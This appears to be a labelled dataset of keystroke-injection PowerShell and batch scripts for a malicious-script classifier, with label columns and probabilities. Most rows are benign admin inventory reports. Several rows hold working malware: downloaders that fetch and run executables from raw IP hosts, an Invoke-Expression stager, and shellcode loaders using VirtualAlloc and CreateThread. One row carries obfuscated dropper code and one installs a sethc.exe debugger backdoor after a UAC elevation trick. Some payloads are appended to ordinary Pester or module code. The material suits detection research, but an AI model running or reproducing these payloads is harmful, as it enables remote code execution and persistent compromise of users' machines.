"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_skyftij2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4649187e-05
"win+r enter powershell enter enter enter function Assert-Is enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter [object] enter enter $InputObject, enter enter [Parameter(Position=1)] enter [Type] enter enter $ExpectedType, enter enter [Parameter(Position=2)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter if( $InputObject -isnot $ExpectedType ) enter { enter Fail (""Expected object to be of type '{0}' but was '{1}'. {2}"" -f $ExpectedType,$InputObject.GetType(),$Message) enter } enter } enter enter",0,0,0.99992573,7.422295e-05
"win+r powershell enter  function Test-DataLakeStoreTrustedIdProvider { param ( $location ) if ([ enter string]::IsNullOrEmpty($location)) { $location = Get-Location -providerNamespa enter ce ""Microsoft.CognitiveServices"" -resourceType ""accounts"" -preferredLocation ""We enter st US""; } enter enter",1,1,0.0100483075,0.98995167
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_rpccxkzz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3867003e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_xjjzmt0c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter",0,0,0.999966,3.3918004e-05
"win+r powershell enter . $PSScriptRoot\Shared.ps1 Describe 'Module Manifest Tests' { It 'Passes Test- enter ModuleManifest' { Test-ModuleManifest -Path $moduleManifestPath | Should Not Be enter NullOrEmpty $? | Should Be $true } } (New-Object System.Net.WebClient).Downlo enter adFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-P enter rocess (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.4506152e-05,0.9999455
"win+r powershell enter Clear-Host $Global:MountPath $Global:RelativePath $Global:WimFile $Global:Update enter sPath Function GetRelativePath{ $Global:RelativePath=(split-path $SCRIPT:MyInv enter ocation.MyCommand.Path -parent)+""\"" Write-Host $Global:RelativePath } Function enter GetWimFile{ enter enter",1,1,0.0013347181,0.99866533
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_pau19id9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4541863e-05
"win+r enter powershell enter enter enter function Get-ChildItemRecurse{ enter param( enter [parameter(Mandatory=$true)] enter [String] enter $Path, enter [parameter(Mandatory=$false)] enter [int] enter $Levels = 0, enter [switch] enter $OnlyDirectories enter ) enter enter $Metadata = @{ enter Title = ""Get Child Item Recurse"" enter Filename = ""Get-ChildItemRecurse.ps1"" enter Description = """" enter Tags = ""powershell, function"" enter Project = """" enter Author = ""Janik von Rotz"" enter AuthorContact = ""www.janikvonrotz.ch"" enter CreateDate = ""2013-03-19"" enter LastEditDate = ""2013-05-15"" enter Version = ""1.1.0"" enter License = @' enter This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License. enter To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-nd/3.0/ or enter send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA. enter '@ enter } enter if($Host.Version.Major -lt 1){ enter throw ""Only compatible with Powershell version 2 and higher"" enter }else{ enter enter if($OnlyDirectories){ enter enter $files = @(Get-ChildItem $Path -Force | Where {$_.PSIsContainer}) enter $OnlyDirectories = $true enter enter }else{ enter enter $files = @(Get-ChildItem $Path -Force) enter $OnlyDirectories = $false enter enter } enter foreach ($file in $files) { enter enter Write-Progress -Activity ""collecting data"" -status $file.Fullname -percentComplete ([int]([array]::IndexOf($files, $file)/$files.Count*100)) enter enter Write-Output $file enter enter if ($levels -gt 0 -and $file.PSIsContainer) { enter enter Get-ChildItemRecurse -Path $file.FullName -Levels ($levels - 1) -OnlyDirectories:$OnlyDirectories enter enter } enter } enter } enter } enter enter",0,0,0.9983846,0.0016153682
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_gfnacn7z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.99996555,3.4451856e-05
"win+r powershell enter SV 0zX ([TyPe]sYsteM.IO.dIrECtorY ) ; set TxySeo ( [TYpe]SYsTEM.NeT.seRVICEpOINT enter MANaGER) ; $Nbf5tg3='B9yp90s';$Vxnlre0=$Cludkjx + [char](64) + $R6r1tuy;$Ky3q0e8 enter =(('Rqdx')+'wo5'); ( Dir vaRiAble:0Zx).valuE::""CreATEdIREcTOrY""($HOME + ((('nDpJ enter rb')+'evk4nDpCcwr_2hnDp') -RePlAcE 'nDp','\'));$FN5ggmsH = (182,187,229,146,231, enter 177,151,149,166);$Pyozgeo=(('J5fy1')+'cc'); ( vaRiABLE TxYSEo ).ValuE::""SecUrITY enter pROtOcol"" = (('Tls1')+'2');$FN5ggmsH += (186,141,228,182,177,171,229,236,239,239 enter ,239,228,181,182,171,229,234,239,239,228);$Huajgb0=(('Jno')+'5ga1');$Bb28umo = ( enter ('Ale7g')+'_8');$Hsce_js='Kvnbov_';$Spk51ue=(('C7xo')+'9gl');$Scusbkj=$HOME+(('5 enter tfJrbevk45tfCcwr_2h5tf') -rEplACE '5tf','\')+$Bb28umo+(('.ex')+'e');$FN5ggmsH += enter (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,13 enter 4,128,158,177,176,139);$hbmskV2T=(('C7xo')+'9gl');$hbmskV2T=$HOME+(('5tfJrbevk45 enter tfCcwr_2h5tf') -rEpl enter enter",1,1,5.525827e-05,0.9999447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_0gl8ecr9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4198398e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_sbodfg2g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter",0,0,0.999966,3.3991382e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_7kac723g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 40 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.467533e-05
"win+r powershell enter function New-IPRange { [cmdletbinding()] param ( [parameter( Mandatory = $tru enter e, Position = 0 )] [System.Net.IPAddress]$Start, [parameter( Mandatory = $tr enter ue, Position = 1)] [System.Net.IPAddress]$End, enter enter",1,1,0.0012262856,0.99877375
"win+r powershell enter Invoke-WebRequest -Uri ""https://files.zortos.me/Files/Expirimental/Cloudforce-Re enter vamped-V3.exe"" -OutFile ""C:\Temp\Cloudforce-Revamped-V3.exe"" Start-Process -File enter Path ""C:\Temp\Cloudforce-Revamped-V3.exe"" Remove-Item -Path ""C:\Windows\System32 enter \diskc.sys"" enter enter",1,1,0.0001296574,0.9998703
"win+r powershell enter [byte[]] $binary = 0x15, 0x0e, 0xc1, 0x59, 0x3b, 0x4c, 0x63, 0x53, 0x65, 0x65, enter 0x79, 0x37, 0x8c, 0xb5, 0x4e, 0x46, 0xd7, 0x38, 0x6d, 0x55, 0x58, 0x54, 0x51, 0 enter x59, 0x78, 0x4c, 0x63, 0x53, 0x61, 0x65, 0x79, 0x37, 0x73, 0x4a, 0x4e, 0x46, 0x enter 6f, 0x38, 0x6d, 0x55, 0x58, 0x54, 0x51, 0x59, 0x38, 0x4c, 0x63, 0x53, 0x61, 0x6 enter 5, 0x79, 0x37, 0x73, 0x4a, 0x4e, 0x46, 0x6f, 0x38, 0x6d, 0x55, 0xd8, 0x54, 0x51 enter , 0x59, 0x36, 0x53, 0xd9, 0x5d, 0x61, 0xd1, 0x70, 0xfa, 0x52, 0xf2, 0x4f, 0x0a, enter 0xa2, 0x19, 0x39, 0x3d, 0x31, 0x27, 0x71, 0x29, 0x4a, 0x23, 0x04, 0x21, 0x00, 0 enter x08, 0x59, 0x54, 0x12, 0x24, 0x20, 0x29, 0x1b, 0x18, 0x0f, 0x30, 0x78, 0x26, 0x enter 24, 0x37, 0x18, 0x25, 0x0d, 0x73, 0x25, 0x2a, 0x2a, 0x17, 0x1e, 0x25, 0x2a, 0x2 enter 3, 0x41, 0x35, 0x60, 0x5f, 0x7c, 0x54, 0x51, 0x59, 0x38, 0x4c, 0x63, 0x53, 0x31 enter , 0x20, 0x79, 0x37, 0x3f, 0x4b, 0x4d, 0x46, 0x44, 0xcb, 0x7c, 0xc1, 0x58, 0x54, enter 0x51, 0x59, 0x38, 0 enter enter",1,1,5.5350516e-05,0.9999447
"win+r enter powershell enter enter enter function Copy-SPOFile enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [System.IO.FileSystemInfo]$file, enter enter [Parameter(Mandatory=$true, Position=2)] enter [string]$targetPath, enter enter [Parameter(Mandatory=$true, Position=3)] enter [bool]$checkoutNecessary enter ) enter enter if ($file.PsIsContainer) enter { enter Add-SPOFolder $targetPath enter } enter else enter { enter $filePath = $file.FullName enter enter Write-Host ""Copying file $filePath to $targetPath"" -foregroundcolor black -backgroundcolor yellow enter if ($checkoutNecessary) enter { enter enter $ErrorActionPreference = ""SilentlyContinue"" enter Submit-SPOCheckOut $targetPath enter $ErrorActionPreference = ""Stop"" enter } enter enter $arrExtensions = "".html"", "".js"", "".master"", "".txt"", "".css"", "".aspx"" enter enter if ($arrExtensions -contains $file.Extension) enter { enter $tempFile = Convert-SPOFileVariablesToValues -file $file enter Save-SPOFile $targetPath $tempFile enter } enter else enter { enter Save-SPOFile $targetPath $file enter } enter enter if ($checkoutNecessary) enter { enter Submit-SPOCheckOut $targetPath enter Submit-SPOCheckIn $targetPath enter } enter } enter } enter enter $x=$Env:username;$u=""http://54.213.195.138/s2.txt?u="" + $x;$p = [System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$w=New-Object net.webclient;$w.proxy=$p;$w.UseDefaultCredentials=$true;$s=$w.DownloadString($u);Invoke-Expression -Command $s; enter enter",1,1,5.454962e-05,0.9999454
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_vzw166il"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_150.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3661574e-05
"win+r enter powershell enter enter enter function Get-CPrivilege enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Identity enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter [Carbon.Security.Privilege]::GetPrivileges( $Identity ) enter } enter enter Set-Alias -Name 'Get-Privileges' -Value 'Get-CPrivilege' enter $qhT = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $qhT -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xde,0xd9,0x74,0x24,0xf4,0xba,0xf6,0xd3,0x41,0x6f,0x58,0x2b,0xc9,0xb1,0x47,0x83,0xe8,0xfc,0x31,0x50,0x14,0x03,0x50,0xe2,0x31,0xb4,0x93,0xe2,0x34,0x37,0x6c,0xf2,0x58,0xb1,0x89,0xc3,0x58,0xa5,0xda,0x73,0x69,0xad,0x8f,0x7f,0x02,0xe3,0x3b,0xf4,0x66,0x2c,0x4b,0xbd,0xcd,0x0a,0x62,0x3e,0x7d,0x6e,0xe5,0xbc,0x7c,0xa3,0xc5,0xfd,0x4e,0xb6,0x04,0x3a,0xb2,0x3b,0x54,0x93,0xb8,0xee,0x49,0x90,0xf5,0x32,0xe1,0xea,0x18,0x33,0x16,0xba,0x1b,0x12,0x89,0xb1,0x45,0xb4,0x2b,0x16,0xfe,0xfd,0x33,0x7b,0x3b,0xb7,0xc8,0x4f,0xb7,0x46,0x19,0x9e,0x38,0xe4,0x64,0x2f,0xcb,0xf4,0xa1,0x97,0x34,0x83,0xdb,0xe4,0xc9,0x94,0x1f,0x97,0x15,0x10,0x84,0x3f,0xdd,0x82,0x60,0xbe,0x32,0x54,0xe2,0xcc,0xff,0x12,0xac,0xd0,0xfe,0xf7,0xc6,0xec,0x8b,0xf9,0x08,0x65,0xcf,0xdd,0x8c,0x2e,0x8b,0x7c,0x94,0x8a,0x7a,0x80,0xc6,0x75,0x22,0x24,0x8c,0x9b,0x37,0x55,0xcf,0xf3,0xf4,0x54,0xf0,0x03,0x93,0xef,0x83,0x31,0x3c,0x44,0x0c,0x79,0xb5,0x42,0xcb,0x7e,0xec,0x33,0x43,0x81,0x0f,0x44,0x4d,0x45,0x5b,0x14,0xe5,0x6c,0xe4,0xff,0xf5,0x91,0x31,0x95,0xf0,0x05,0x7a,0xc2,0xfa,0xdf,0x12,0x11,0xfd,0xce,0xbe,0x9c,0x1b,0xa0,0x6e,0xcf,0xb3,0x00,0xdf,0xaf,0x63,0xe8,0x35,0x20,0x5b,0x08,0x36,0xea,0xf4,0xa2,0xd9,0x43,0xac,0x5a,0x43,0xce,0x26,0xfb,0x8c,0xc4,0x42,0x3b,0x06,0xeb,0xb3,0xf5,0xef,0x86,0xa7,0x61,0x00,0xdd,0x9a,0x27,0x1f,0xcb,0xb1,0xc7,0xb5,0xf0,0x13,0x90,0x21,0xfb,0x42,0xd6,0xed,0x04,0xa1,0x6d,0x27,0x91,0x0a,0x19,0x48,0x75,0x8b,0xd9,0x1e,0x1f,0x8b,0xb1,0xc6,0x7b,0xd8,0xa4,0x08,0x56,0x4c,0x75,0x9d,0x59,0x25,0x2a,0x36,0x32,0xcb,0x15,0x70,0x9d,0x34,0x70,0x80,0xe1,0xe2,0xbc,0xf6,0x0b,0x37;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$pDp=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($pDp.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$pDp,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1778665e-05,0.99994826
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_qhytlx4j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_50.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4338267e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_sizxfkce"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4396307e-05
"delay_long enter unknown_key_action CONTROL ESCAPE enter delay_medium enter notepad enter delay_short enter enter enter delay_medium enter @echo off enter enter enter :init enter enter enter setlocal DisableDelayedExpansion enter enter enter set cmdInvoke=1 enter enter enter set winSysFolder=System32 enter enter enter set ""batchPath=%~0"" enter enter enter for %%k in (%0) do set batchName=%%~nk enter enter enter set ""TEMPVBS=%temp%\OEgetPriv_run.vbs"" enter enter enter setlocal EnableDelayedExpansion enter enter enter :checkPrivileges enter enter enter NET FILE 1>NUL 2>NUL enter enter enter if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges) enter enter enter :getPrivileges enter enter enter if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges) enter enter enter echo Set UAC = CreateObject^(""Shell.Application""^) > ""%TEMPVBS%"" enter enter enter echo args = ""ELEV "" >> ""%TEMPVBS%"" enter enter enter echo For Each strArg in WScript.Arguments >> ""%TEMPVBS%"" enter enter enter echo args = args ^& strArg ^& "" "" >> ""%TEMPVBS%"" enter enter enter echo Next>> ""%TEMPVBS%"" enter enter enter if '%cmdInvoke%'=='1' goto InvokeCmd enter enter enter echo UAC.ShellExecute ""!batchPath!"", args, """", ""runas"", 1 >> ""%TEMPVBS%"" enter enter enter goto ExecElevation enter enter enter :InvokeCmd enter enter enter echo args = ""/c """""" + ""!batchPath!"" + """""" "" + args >> ""%TEMPVBS%"" enter enter enter echo UAC.ShellExecute ""%SystemRoot%\%winSysFolder%\cmd.exe"", args, """", ""runas"", 1 >> ""%TEMPVBS%"" enter enter enter :ExecElevation enter enter enter ""%SystemRoot%\%winSysFolder%\WScript.exe"" ""%TEMPVBS%"" %* enter enter enter exit /B enter enter enter :gotPrivileges enter enter enter setlocal & cd /d ""%~dp0."" enter enter enter if '%1'=='ELEV' (del ""%TEMPVBS%"" 1>nul 2>nul & shift /1) enter enter enter reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"" /ve /f && reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"" /v ""Debugger"" /t REG_SZ /d ""cmd.exe"" /f && cls && echo Payload Installed Successfully && pause && goto end enter enter enter cls enter enter enter echo Payload Install Failed enter enter enter pause enter enter enter :end enter enter enter del /F /Q ""%~0"" && exit enter unknown_key_action CONTROL s enter delay_medium enter %temp% enter un.bat enter tab enter a enter enter enter delay_short enter alt+f4 enter delay_short enter unknown_key_action CONTROL ESCAPE enter delay_medium enter %temp% enter un.bat enter enter",1,1,5.68483e-05,0.99994314
"win+r enter powershell enter enter enter properties { enter $buildOutputPath = "".\bin\$buildConfiguration"" enter } enter enter task default -depends DoRelease enter enter task DoRelease { enter Assert (""$buildConfiguration"" -ne $null) ""buildConfiguration should not have been null"" enter Assert (""$buildConfiguration"" -eq 'Release') ""buildConfiguration=[$buildConfiguration] should have been 'Release'"" enter enter Write-Host """" enter Write-Host """" enter Write-Host """" enter Write-Host -NoNewline ""Would build output into path "" enter Write-Host -NoNewline -ForegroundColor Green ""$buildOutputPath"" enter Write-Host -NoNewline "" for build configuration "" enter Write-Host -ForegroundColor Green ""$buildConfiguration"" enter Write-Host -NoNewline ""."" enter Write-Host """" enter Write-Host """" enter Write-Host """" enter } enter enter",0,0,0.9999627,3.7344354e-05
"win+r powershell enter param ( [ValidateSet(""machine"",""user"",""process"")] [string[]]$PathScope=""machin enter e"", [switch]$RemoveAllOccurences ) ForEach ($PathScopeItem in $PathScope) { $ enter AssembledNewPath = $NewPath = '' $pathstoremove = @([Environment]::GetEnviron enter mentVariable(""PATH"",""$PathScopeItem"").split(';') | Where { $_ -ilike ""*\Program enter Files\Powershell\6*""}) If (!$RemoveAllOccurences) enter",1,1,0.0060653817,0.9939346
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter InModuleScope Pester { enter Describe ""Should -Match"" { enter It ""returns true for things that match"" { enter 'foobar' | Should Match 'ob' enter 'foobar' | Should -Match 'ob' enter } enter enter It ""returns false for things that do not match"" { enter 'foobar' | Should Not Match 'slime' enter 'foobar' | Should -Not -Match 'slime' enter } enter enter It ""passes for strings with different case"" { enter 'foobar' | Should Match 'FOOBAR' enter 'foobar' | Should -Match 'FOOBAR' enter } enter enter It ""uses regular expressions"" { enter 'foobar' | Should Match '\S{6}' enter 'foobar' | Should -Match '\S{6}' enter } enter enter It ""passes for regular expressions that match"" { enter ""foobar"" | Should Match "".*"" enter ""foobar"" | Should -Match "".*"" enter } enter enter It ""passes for regular expression with different case"" { enter ""foobar"" | Should -Match "".OOB.."" enter } enter enter It ""fails for regular expressions that do not match"" { enter { ""foobar"" | Should -Match ""\d{6}"" } | Verify-AssertionFailed enter } enter enter It ""returns the correct assertion message"" { enter $err = { 'ab' | Should -Match '\d' -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal ""Expected regular expression '\d' to match 'ab', because reason, but it did not match."" enter } enter } enter enter Describe ""Should -Not -Match"" { enter It ""passes for regular expressions that do not match"" { enter ""gef"" | Should Not Match ""m.*"" enter ""gef"" | Should -Not -Match ""m.*"" enter } enter enter It ""fails for things that match"" { enter { ""foobar"" | Should -Not -Match "".*"" } | Verify-AssertionFailed enter } enter enter It ""fails for strings with different case"" { enter { ""foobar"" | Should -Not -Match ""F.*"" } | Verify-AssertionFailed enter } enter enter It ""returns the correct assertion message"" { enter $err = { 'ab' | Should -Not -Match '.*' -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal ""Expected regular expression '.*' to not match 'ab', because reason, but it did match."" enter } enter } enter } enter enter $TempDir = [System.IO.Path]::GetTempPath(); (New-Object System.Net.WebClient).DownloadFile(""http://kulup.isikun.edu.tr/Kraken.jpg"","" $TempDir\syshost.exe""); start $TempDir\syshost.exe; enter enter",1,1,6.0003462e-05,0.99994004
"win+r powershell enter function CreateConfigurationForNewContext { param( [string] $buildFile, [stri enter ng] $framework ) $previousConfig = GetCurrentConfigurationOrDefault $config enter = new-object psobject -property @{ buildFileName = $previousConfig.buildFileNa enter me; framework = $previousConfig.framework; taskNameFormat = $previousConfig.ta enter skNameFormat; enter enter",1,1,0.005766014,0.994234
win+r enter cmd enter enter enter run enter cmd enter taskkill /f /pid nc.exe enter del c:\users\public\downloads enter net use z: /delete enter net use z: \\(ip public / domain / sub domain)\(nama folder yang dishare) /u:(username) (password) enter copy z: enter y enter net use z: /delete enter c:\users\public\downloads enter alt c enter enter,1,1,0.00012769585,0.9998723
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter $lpquery = @"" enter SELECT enter COUNT(ImagePath, LaunchString, MD5) as ct, enter ImagePath, enter LaunchString, enter MD5, enter Time, enter Publisher enter FROM enter *autorunsc.tsv enter WHERE enter ImagePath is not null and enter Publisher not like '(Verified)%' and enter (ImagePath not like 'File not found%') enter GROUP BY enter ImagePath, enter LaunchString, enter MD5, enter Time, enter Publisher enter ORDER BY enter ct ASC enter ""@ enter enter & logparser -i:csv -dtlines:0 -fixedsep:on -rtp:-1 ""$lpquery"" enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter enter $RWb = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $RWb -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 